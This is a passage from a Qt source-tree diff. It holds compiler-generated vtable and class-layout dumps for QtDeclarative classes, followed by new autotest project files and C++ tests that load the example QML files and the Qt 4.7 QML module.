+ size=8 align=4
+ base size=8 base align=4
+QDeclarativePrivate::RegisterAutoParent (0xb1544348) 0
+
+Vtable for QDeclarativeParserStatus
+QDeclarativeParserStatus::_ZTV24QDeclarativeParserStatus: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QDeclarativeParserStatus)
+8 QDeclarativeParserStatus::~QDeclarativeParserStatus
+12 QDeclarativeParserStatus::~QDeclarativeParserStatus
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QDeclarativeParserStatus
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativeParserStatus (0xb1544384) 0
+ vptr=((& QDeclarativeParserStatus::_ZTV24QDeclarativeParserStatus) + 8u)
+
+Vtable for QDeclarativePropertyValueSource
+QDeclarativePropertyValueSource::_ZTV31QDeclarativePropertyValueSource: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI31QDeclarativePropertyValueSource)
+8 QDeclarativePropertyValueSource::~QDeclarativePropertyValueSource
+12 QDeclarativePropertyValueSource::~QDeclarativePropertyValueSource
+16 __cxa_pure_virtual
+
+Class QDeclarativePropertyValueSource
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativePropertyValueSource (0xb1544690) 0 nearly-empty
+ vptr=((& QDeclarativePropertyValueSource::_ZTV31QDeclarativePropertyValueSource) + 8u)
+
+Vtable for QDeclarativePropertyValueInterceptor
+QDeclarativePropertyValueInterceptor::_ZTV36QDeclarativePropertyValueInterceptor: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI36QDeclarativePropertyValueInterceptor)
+8 QDeclarativePropertyValueInterceptor::~QDeclarativePropertyValueInterceptor
+12 QDeclarativePropertyValueInterceptor::~QDeclarativePropertyValueInterceptor
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QDeclarativePropertyValueInterceptor
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativePropertyValueInterceptor (0xb154499c) 0 nearly-empty
+ vptr=((& QDeclarativePropertyValueInterceptor::_ZTV36QDeclarativePropertyValueInterceptor) + 8u)
+
+Class QDeclarativeListReference
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativeListReference (0xb1544ce4) 0
+
+Class QDeclarativeError
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativeError (0xb13ec03c) 0
+
+Vtable for QDeclarativeComponent
+QDeclarativeComponent::_ZTV21QDeclarativeComponent: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QDeclarativeComponent)
+8 QDeclarativeComponent::metaObject
+12 QDeclarativeComponent::qt_metacast
+16 QDeclarativeComponent::qt_metacall
+20 QDeclarativeComponent::~QDeclarativeComponent
+24 QDeclarativeComponent::~QDeclarativeComponent
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QDeclarativeComponent::create
+60 QDeclarativeComponent::beginCreate
+64 QDeclarativeComponent::completeCreate
+
+Class QDeclarativeComponent
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativeComponent (0xb156fbc0) 0
+ vptr=((& QDeclarativeComponent::_ZTV21QDeclarativeComponent) + 8u)
+ QObject (0xb13ec078) 0
+ primary-for QDeclarativeComponent (0xb156fbc0)
+
+Vtable for QDeclarativeContext
+QDeclarativeContext::_ZTV19QDeclarativeContext: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QDeclarativeContext)
+8 QDeclarativeContext::metaObject
+12 QDeclarativeContext::qt_metacast
+16 QDeclarativeContext::qt_metacall
+20 QDeclarativeContext::~QDeclarativeContext
+24 QDeclarativeContext::~QDeclarativeContext
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QDeclarativeContext
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativeContext (0xb1407280) 0
+ vptr=((& QDeclarativeContext::_ZTV19QDeclarativeContext) + 8u)
+ QObject (0xb13ec4ec) 0
+ primary-for QDeclarativeContext (0xb1407280)
+
+Vtable for QDeclarativeEngine
+QDeclarativeEngine::_ZTV18QDeclarativeEngine: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QDeclarativeEngine)
+8 QDeclarativeEngine::metaObject
+12 QDeclarativeEngine::qt_metacast
+16 QDeclarativeEngine::qt_metacall
+20 QDeclarativeEngine::~QDeclarativeEngine
+24 QDeclarativeEngine::~QDeclarativeEngine
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QDeclarativeEngine
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativeEngine (0xb1407680) 0
+ vptr=((& QDeclarativeEngine::_ZTV18QDeclarativeEngine) + 8u)
+ QObject (0xb13ec7bc) 0
+ primary-for QDeclarativeEngine (0xb1407680)
+
+Vtable for QDeclarativeExpression
+QDeclarativeExpression::_ZTV22QDeclarativeExpression: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QDeclarativeExpression)
+8 QDeclarativeExpression::metaObject
+12 QDeclarativeExpression::qt_metacast
+16 QDeclarativeExpression::qt_metacall
+20 QDeclarativeExpression::~QDeclarativeExpression
+24 QDeclarativeExpression::~QDeclarativeExpression
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QDeclarativeExpression
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativeExpression (0xb1407940) 0
+ vptr=((& QDeclarativeExpression::_ZTV22QDeclarativeExpression) + 8u)
+ QObject (0xb13ec9d8) 0
+ primary-for QDeclarativeExpression (0xb1407940)
+
+Vtable for QDeclarativeExtensionInterface
+QDeclarativeExtensionInterface::_ZTV30QDeclarativeExtensionInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI30QDeclarativeExtensionInterface)
+8 QDeclarativeExtensionInterface::~QDeclarativeExtensionInterface
+12 QDeclarativeExtensionInterface::~QDeclarativeExtensionInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QDeclarativeExtensionInterface
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativeExtensionInterface (0xb13ecbf4) 0 nearly-empty
+ vptr=((& QDeclarativeExtensionInterface::_ZTV30QDeclarativeExtensionInterface) + 8u)
+
+Vtable for QDeclarativeExtensionPlugin
+QDeclarativeExtensionPlugin::_ZTV27QDeclarativeExtensionPlugin: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI27QDeclarativeExtensionPlugin)
+8 QDeclarativeExtensionPlugin::metaObject
+12 QDeclarativeExtensionPlugin::qt_metacast
+16 QDeclarativeExtensionPlugin::qt_metacall
+20 QDeclarativeExtensionPlugin::~QDeclarativeExtensionPlugin
+24 QDeclarativeExtensionPlugin::~QDeclarativeExtensionPlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 QDeclarativeExtensionPlugin::initializeEngine
+64 (int (*)(...))-0x000000008
+68 (int (*)(...))(& _ZTI27QDeclarativeExtensionPlugin)
+72 QDeclarativeExtensionPlugin::_ZThn8_N27QDeclarativeExtensionPluginD1Ev
+76 QDeclarativeExtensionPlugin::_ZThn8_N27QDeclarativeExtensionPluginD0Ev
+80 __cxa_pure_virtual
+84 QDeclarativeExtensionPlugin::_ZThn8_N27QDeclarativeExtensionPlugin16initializeEngineEP18QDeclarativeEnginePKc
+
+Class QDeclarativeExtensionPlugin
+ size=12 align=4
+ base size=12 base align=4
+QDeclarativeExtensionPlugin (0xb144a190) 0
+ vptr=((& QDeclarativeExtensionPlugin::_ZTV27QDeclarativeExtensionPlugin) + 8u)
+ QObject (0xb144c0f0) 0
+ primary-for QDeclarativeExtensionPlugin (0xb144a190)
+ QDeclarativeExtensionInterface (0xb144c12c) 8 nearly-empty
+ vptr=((& QDeclarativeExtensionPlugin::_ZTV27QDeclarativeExtensionPlugin) + 72u)
+
+Vtable for QDeclarativeImageProvider
+QDeclarativeImageProvider::_ZTV25QDeclarativeImageProvider: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QDeclarativeImageProvider)
+8 QDeclarativeImageProvider::~QDeclarativeImageProvider
+12 QDeclarativeImageProvider::~QDeclarativeImageProvider
+16 QDeclarativeImageProvider::requestImage
+20 QDeclarativeImageProvider::requestPixmap
+
+Class QDeclarativeImageProvider
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativeImageProvider (0xb144c258) 0
+ vptr=((& QDeclarativeImageProvider::_ZTV25QDeclarativeImageProvider) + 8u)
+
+Class QDeclarativeInfo
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativeInfo (0xb144b280) 0
+ QDebug (0xb144c294) 0
+
+Vtable for QDeclarativeNetworkAccessManagerFactory
+QDeclarativeNetworkAccessManagerFactory::_ZTV39QDeclarativeNetworkAccessManagerFactory: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI39QDeclarativeNetworkAccessManagerFactory)
+8 QDeclarativeNetworkAccessManagerFactory::~QDeclarativeNetworkAccessManagerFactory
+12 QDeclarativeNetworkAccessManagerFactory::~QDeclarativeNetworkAccessManagerFactory
+16 __cxa_pure_virtual
+
+Class QDeclarativeNetworkAccessManagerFactory
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativeNetworkAccessManagerFactory (0xb144ce4c) 0 nearly-empty
+ vptr=((& QDeclarativeNetworkAccessManagerFactory::_ZTV39QDeclarativeNetworkAccessManagerFactory) + 8u)
+
+Class QDeclarativeProperty
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativeProperty (0xb144ce88) 0
+
+Class QDeclarativeScriptString
+ size=4 align=4
+ base size=4 base align=4
+QDeclarativeScriptString (0xb144cec4) 0
+
+Vtable for QDeclarativeItem
+QDeclarativeItem::_ZTV16QDeclarativeItem: 70u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QDeclarativeItem)
+8 QDeclarativeItem::metaObject
+12 QDeclarativeItem::qt_metacast
+16 QDeclarativeItem::qt_metacall
+20 QDeclarativeItem::~QDeclarativeItem
+24 QDeclarativeItem::~QDeclarativeItem
+28 QDeclarativeItem::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QDeclarativeItem::boundingRect
+60 QDeclarativeItem::paint
+64 QDeclarativeItem::sceneEvent
+68 QDeclarativeItem::itemChange
+72 QDeclarativeItem::classBegin
+76 QDeclarativeItem::componentComplete
+80 QDeclarativeItem::keyPressEvent
+84 QDeclarativeItem::keyReleaseEvent
+88 QDeclarativeItem::inputMethodEvent
+92 QDeclarativeItem::inputMethodQuery
+96 QDeclarativeItem::geometryChanged
+100 (int (*)(...))-0x000000008
+104 (int (*)(...))(& _ZTI16QDeclarativeItem)
+108 QDeclarativeItem::_ZThn8_N16QDeclarativeItemD1Ev
+112 QDeclarativeItem::_ZThn8_N16QDeclarativeItemD0Ev
+116 QGraphicsItem::advance
+120 QDeclarativeItem::_ZThn8_NK16QDeclarativeItem12boundingRectEv
+124 QGraphicsItem::shape
+128 QGraphicsItem::contains
+132 QGraphicsItem::collidesWithItem
+136 QGraphicsItem::collidesWithPath
+140 QGraphicsItem::isObscuredBy
+144 QGraphicsItem::opaqueArea
+148 QDeclarativeItem::_ZThn8_N16QDeclarativeItem5paintEP8QPainterPK24QStyleOptionGraphicsItemP7QWidget
+152 QGraphicsItem::type
+156 QGraphicsItem::sceneEventFilter
+160 QDeclarativeItem::_ZThn8_N16QDeclarativeItem10sceneEventEP6QEvent
+164 QGraphicsItem::contextMenuEvent
+168 QGraphicsItem::dragEnterEvent
+172 QGraphicsItem::dragLeaveEvent
+176 QGraphicsItem::dragMoveEvent
+180 QGraphicsItem::dropEvent
+184 QGraphicsItem::focusInEvent
+188 QGraphicsItem::focusOutEvent
+192 QGraphicsItem::hoverEnterEvent
+196 QGraphicsItem::hoverMoveEvent
+200 QGraphicsItem::hoverLeaveEvent
+204 QDeclarativeItem::_ZThn8_N16QDeclarativeItem13keyPressEventEP9QKeyEvent
+208 QDeclarativeItem::_ZThn8_N16QDeclarativeItem15keyReleaseEventEP9QKeyEvent
+212 QGraphicsItem::mousePressEvent
+216 QGraphicsItem::mouseMoveEvent
+220 QGraphicsItem::mouseReleaseEvent
+224 QGraphicsItem::mouseDoubleClickEvent
+228 QGraphicsItem::wheelEvent
+232 QDeclarativeItem::_ZThn8_N16QDeclarativeItem16inputMethodEventEP17QInputMethodEvent
+236 QDeclarativeItem::_ZThn8_NK16QDeclarativeItem16inputMethodQueryEN2Qt16InputMethodQueryE
+240 QDeclarativeItem::_ZThn8_N16QDeclarativeItem10itemChangeEN13QGraphicsItem18GraphicsItemChangeERK8QVariant
+244 QGraphicsItem::supportsExtension
+248 QGraphicsItem::setExtension
+252 QGraphicsItem::extension
+256 (int (*)(...))-0x000000010
+260 (int (*)(...))(& _ZTI16QDeclarativeItem)
+264 QDeclarativeItem::_ZThn16_N16QDeclarativeItemD1Ev
+268 QDeclarativeItem::_ZThn16_N16QDeclarativeItemD0Ev
+272 QDeclarativeItem::_ZThn16_N16QDeclarativeItem10classBeginEv
+276 QDeclarativeItem::_ZThn16_N16QDeclarativeItem17componentCompleteEv
+
+Class QDeclarativeItem
+ size=24 align=4
+ base size=24 base align=4
+QDeclarativeItem (0xb129d5a0) 0
+ vptr=((& QDeclarativeItem::_ZTV16QDeclarativeItem) + 8u)
+ QGraphicsObject (0xb129d5f0) 0
+ primary-for QDeclarativeItem (0xb129d5a0)
+ QObject (0xb12a2000) 0
+ primary-for QGraphicsObject (0xb129d5f0)
+ QGraphicsItem (0xb12a203c) 8
+ vptr=((& QDeclarativeItem::_ZTV16QDeclarativeItem) + 108u)
+ QDeclarativeParserStatus (0xb12a2078) 16
+ vptr=((& QDeclarativeItem::_ZTV16QDeclarativeItem) + 264u)
+
diff --git a/tests/auto/declarative.pro b/tests/auto/declarative.pro
new file mode 100644
index 00000000..f2173f0c
--- /dev/null
+++ b/tests/auto/declarative.pro
@@ -0,0 +1,4 @@
+TEMPLATE=subdirs
+SUBDIRS=\
+ declarative \
+
diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro
new file mode 100644
index 00000000..08d59d34
--- /dev/null
+++ b/tests/auto/declarative/declarative.pro
@@ -0,0 +1,85 @@
+TEMPLATE = subdirs
+!symbian: {
+SUBDIRS += \
+ qdeclarativemetatype \
+ qmetaobjectbuilder
+}
+
+SUBDIRS += \
+ examples \
+ parserstress \
+ qdeclarativecomponent \
+ qdeclarativecontext \
+ qdeclarativeengine \
+ qdeclarativeerror \
+ qdeclarativefolderlistmodel \
+ qdeclarativeinfo \
+ qdeclarativelayoutitem \
+ qdeclarativelistreference \
+ qdeclarativemoduleplugin \
+ qdeclarativeparticles \
+ qdeclarativepixmapcache \
+ qdeclarativeqt \
+ qdeclarativeview \
+ qdeclarativeviewer \
+ qdeclarativexmlhttprequest \
+ qmlvisual \
+ moduleqt47
+
+contains(QT_CONFIG, private_tests) {
+ SUBDIRS += \
+ qdeclarativeanchors \
+ qdeclarativeanimatedimage \
+ qdeclarativeanimations \
+ qdeclarativeapplication \
+ qdeclarativebehaviors \
+ qdeclarativebinding \
+ qdeclarativeborderimage \
+ qdeclarativeconnection \
+ qdeclarativedebug \
+ qdeclarativedebugclient \
+ qdeclarativedebugservice \
+ qdeclarativedebugjs \
+ qdeclarativedom \
+ qdeclarativeecmascript \
+ qdeclarativeflickable \
+ qdeclarativeflipable \
+ qdeclarativefocusscope \
+ qdeclarativefontloader \
+ qdeclarativegridview \
+ qdeclarativeimage \
+ qdeclarativeimageprovider \
+ qdeclarativeinstruction \
+ qdeclarativeitem \
+ qdeclarativelanguage \
+ qdeclarativelistmodel \
+ qdeclarativelistview \
+ qdeclarativeloader \
+ qdeclarativemousearea \
+ qdeclarativepathview \
+ qdeclarativepincharea \
+ qdeclarativepositioners \
+ qdeclarativeproperty \
+ qdeclarativepropertymap \
+ qdeclarativerepeater \
+ qdeclarativesmoothedanimation \
+ qdeclarativespringanimation \
+ qdeclarativestyledtext \
+ qdeclarativesqldatabase \
+ qdeclarativestates \
+ qdeclarativesystempalette \
+ qdeclarativetext \
+ qdeclarativetextedit \
+ qdeclarativetextinput \
+ qdeclarativetimer \
+ qdeclarativevaluetypes \
+ qdeclarativevisualdatamodel \
+ qdeclarativeworkerscript \
+ qdeclarativexmllistmodel \
+ qpacketprotocol
+}
+
+contains(QT_CONFIG, opengl): SUBDIRS += qmlshadersplugin
+
+# Tests which should run in Pulse
+PULSE_TESTS = $$SUBDIRS
diff --git a/tests/auto/declarative/examples/data/dummytest.qml b/tests/auto/declarative/examples/data/dummytest.qml
new file mode 100644
index 00000000..b20e907f
--- /dev/null
+++ b/tests/auto/declarative/examples/data/dummytest.qml
@@ -0,0 +1,6 @@
+import Qt.VisualTest 4.6
+
+VisualTest {
+ Frame { msec: 0 }
+ Frame { msec: 10 }
+}
diff --git a/tests/auto/declarative/examples/data/webbrowser/webbrowser.qml b/tests/auto/declarative/examples/data/webbrowser/webbrowser.qml
new file mode 100644
index 00000000..d31787b9
--- /dev/null
+++ b/tests/auto/declarative/examples/data/webbrowser/webbrowser.qml
@@ -0,0 +1,6 @@
+import Qt.VisualTest 4.6
+
+VisualTest {
+ Frame { msec: 0 }
+ Frame { msec: 2000 }
+}
diff --git a/tests/auto/declarative/examples/examples.pro b/tests/auto/declarative/examples/examples.pro
new file mode 100644
index 00000000..1f257693
--- /dev/null
+++ b/tests/auto/declarative/examples/examples.pro
@@ -0,0 +1,21 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_examples.cpp
+
+include(../../../../tools/qml/qml.pri)
+
+include(../symbianlibs.pri)
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/examples/tst_examples.cpp b/tests/auto/declarative/examples/tst_examples.cpp
new file mode 100644
index 00000000..790d3d9e
--- /dev/null
+++ b/tests/auto/declarative/examples/tst_examples.cpp
@@ -0,0 +1,230 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QLibraryInfo>
+#include <QDir>
+#include <QProcess>
+#include <QDebug>
+#include "qmlruntime.h"
+#include <QDeclarativeView>
+#include <QDeclarativeError>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_examples : public QObject
+{
+ Q_OBJECT
+public:
+ tst_examples();
+
+private slots:
+ void examples_data();
+ void examples();
+
+ void namingConvention();
+private:
+ QString qmlruntime;
+ QStringList excludedDirs;
+
+ void namingConvention(const QDir &);
+ QStringList findQmlFiles(const QDir &);
+};
+
+tst_examples::tst_examples()
+{
+ QString binaries = QLibraryInfo::location(QLibraryInfo::BinariesPath);
+
+#if defined(Q_WS_MAC)
+ qmlruntime = QDir(binaries).absoluteFilePath("qml.app/Contents/MacOS/qml");
+#elif defined(Q_WS_WIN)
+ qmlruntime = QDir(binaries).absoluteFilePath("qml.exe");
+#else
+ qmlruntime = QDir(binaries).absoluteFilePath("qml");
+#endif
+
+
+ // Add directories you want excluded here
+ excludedDirs << "doc/src/snippets/declarative/visualdatamodel_rootindex";
+ excludedDirs << "doc/src/snippets/declarative/qtbinding";
+
+#ifdef QT_NO_WEBKIT
+ excludedDirs << "examples/declarative/modelviews/webview";
+ excludedDirs << "demos/declarative/webbrowser";
+#endif
+
+#ifdef QT_NO_XMLPATTERNS
+ excludedDirs << "examples/declarative/xml/xmldata";
+ excludedDirs << "demos/declarative/twitter";
+ excludedDirs << "demos/declarative/flickr";
+ excludedDirs << "demos/declarative/photoviewer";
+#endif
+}
+
+/*
+This tests that the demos and examples follow the naming convention required
+to have them tested by the examples() test.
+*/
+void tst_examples::namingConvention(const QDir &d)
+{
+ for (int ii = 0; ii < excludedDirs.count(); ++ii) {
+ QString s = excludedDirs.at(ii);
+ if (d.absolutePath().endsWith(s))
+ return;
+ }
+
+ QStringList files = d.entryList(QStringList() << QLatin1String("*.qml"),
+ QDir::Files);
+
+ bool seenQml = !files.isEmpty();
+ bool seenLowercase = false;
+
+ foreach (const QString &file, files) {
+ if (file.at(0).isLower())
+ seenLowercase = true;
+ }
+
+ if (!seenQml) {
+ QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot |
+ QDir::NoSymLinks);
+ foreach (const QString &dir, dirs) {
+ QDir sub = d;
+ sub.cd(dir);
+ namingConvention(sub);
+ }
+ } else if(!seenLowercase) {
+ QTest::qFail(QString("Directory " + d.absolutePath() + " violates naming convention").toLatin1().constData(), __FILE__, __LINE__);
+ }
+}
+
+void tst_examples::namingConvention()
+{
+ QString examples = QLibraryInfo::location(QLibraryInfo::ExamplesPath);
+ QString demos = QLibraryInfo::location(QLibraryInfo::DemosPath);
+
+ namingConvention(QDir(examples));
+ namingConvention(QDir(demos));
+}
+
+QStringList tst_examples::findQmlFiles(const QDir &d)
+{
+ for (int ii = 0; ii < excludedDirs.count(); ++ii) {
+ QString s = excludedDirs.at(ii);
+ if (d.absolutePath().endsWith(s))
+ return QStringList();
+ }
+
+ QStringList rv;
+
+ QStringList cppfiles = d.entryList(QStringList() << QLatin1String("*.cpp"), QDir::Files);
+ if (cppfiles.isEmpty()) {
+ QStringList files = d.entryList(QStringList() << QLatin1String("*.qml"),
+ QDir::Files);
+ foreach (const QString &file, files) {
+ if (file.at(0).isLower()) {
+ rv << d.absoluteFilePath(file);
+ }
+ }
+ }
+
+ QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot |
+ QDir::NoSymLinks);
+ foreach (const QString &dir, dirs) {
+ QDir sub = d;
+ sub.cd(dir);
+ rv << findQmlFiles(sub);
+ }
+
+ return rv;
+}
+
+/*
+This test runs all the examples in the declarative UI source tree and ensures
+that they start and exit cleanly.
+
+Examples are any .qml files under the examples/ or demos/ directory that start
+with a lower case letter.
+*/
+void tst_examples::examples_data()
+{
+ QTest::addColumn<QString>("file");
+
+ QString examples = QLatin1String(SRCDIR) + "/../../../../demos/declarative/";
+ QString demos = QLatin1String(SRCDIR) + "/../../../../examples/declarative/";
+ QString snippets = QLatin1String(SRCDIR) + "/../../../../doc/src/snippets/";
+
+ QStringList files;
+ files << findQmlFiles(QDir(examples));
+ files << findQmlFiles(QDir(demos));
+ files << findQmlFiles(QDir(snippets));
+
+ foreach (const QString &file, files)
+ QTest::newRow(qPrintable(file)) << file;
+}
+
+static void silentErrorsMsgHandler(QtMsgType, const char *)
+{
+}
+
+void tst_examples::examples()
+{
+ QFETCH(QString, file);
+
+ QDeclarativeViewer viewer;
+
+ QtMsgHandler old = qInstallMsgHandler(silentErrorsMsgHandler);
+ QVERIFY(viewer.open(file));
+ qInstallMsgHandler(old);
+
+ if (viewer.view()->status() == QDeclarativeView::Error)
+ qWarning() << viewer.view()->errors();
+
+ QCOMPARE(viewer.view()->status(), QDeclarativeView::Ready);
+ viewer.show();
+
+ QTest::qWaitForWindowShown(&viewer);
+}
+
+QTEST_MAIN(tst_examples)
+
+#include "tst_examples.moc"
diff --git a/tests/auto/declarative/moduleqt47/data/importqt47.qml b/tests/auto/declarative/moduleqt47/data/importqt47.qml
new file mode 100644
index 00000000..0a1b533c
--- /dev/null
+++ b/tests/auto/declarative/moduleqt47/data/importqt47.qml
@@ -0,0 +1,80 @@
+import Qt 4.7
+
+Item {
+ QtObject {}
+
+ Component { Item {} }
+
+ // Util
+ states: [
+ State {
+ name: "bob"
+ AnchorChanges {}
+ ParentChange {}
+ StateChangeScript {}
+ PropertyChanges {}
+ }
+ ]
+ transitions: [
+ Transition {
+ AnchorAnimation {}
+ ColorAnimation {}
+ SmoothedAnimation {}
+ NumberAnimation {}
+ ParallelAnimation {}
+ ParentAnimation {}
+ PauseAnimation {}
+ PropertyAnimation {}
+ RotationAnimation {}
+ ScriptAction {}
+ SequentialAnimation {}
+ SpringAnimation {}
+ Vector3dAnimation {}
+ }
+ ]
+
+ Behavior on x {}
+ Binding {}
+ Connections {}
+ FontLoader {}
+ ListModel { ListElement {} }
+ SystemPalette {}
+ Timer {}
+
+ // graphic items
+ BorderImage {}
+ Column {}
+ MouseArea {}
+ Flickable {}
+ Flipable {}
+ Flow {}
+ FocusPanel {}
+ FocusScope {}
+ Rectangle { gradient: Gradient { GradientStop {} } }
+ Grid {}
+ GridView {}
+ Image {}
+ ListView {}
+ Loader {}
+ PathView {
+ path: Path {
+ PathLine {}
+ PathCubic {}
+ PathPercent {}
+ PathQuad {}
+ PathAttribute {}
+ }
+ }
+ Repeater {}
+ Rotation {}
+ Row {}
+ Translate {}
+ Scale {}
+ Text {}
+ TextEdit {}
+ TextInput {}
+ VisualItemModel {}
+ VisualDataModel {}
+
+ Keys.onPressed: console.log("Press")
+}
diff --git a/tests/auto/declarative/moduleqt47/moduleqt47.pro b/tests/auto/declarative/moduleqt47/moduleqt47.pro
new file mode 100644
index 00000000..ff773e8f
--- /dev/null
+++ b/tests/auto/declarative/moduleqt47/moduleqt47.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_moduleqt47.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/moduleqt47/tst_moduleqt47.cpp b/tests/auto/declarative/moduleqt47/tst_moduleqt47.cpp
new file mode 100644
index 00000000..3c6cbd9a
--- /dev/null
+++ b/tests/auto/declarative/moduleqt47/tst_moduleqt47.cpp
@@ -0,0 +1,136 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QDir>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_moduleqt47 : public QObject
+{
+ Q_OBJECT
+public:
+ tst_moduleqt47();
+
+private slots:
+ void create();
+
+ void accidentalImport_data();
+ void accidentalImport();
+
+private:
+ QStringList findFiles(const QDir &d);
+
+ QDeclarativeEngine engine;
+ QStringList excludedFiles;
+};
+
+tst_moduleqt47::tst_moduleqt47()
+{
+ excludedFiles << "tests/auto/declarative/moduleqt47/data/importqt47.qml"
+ << "doc/src/declarative/whatsnew.qdoc";
+}
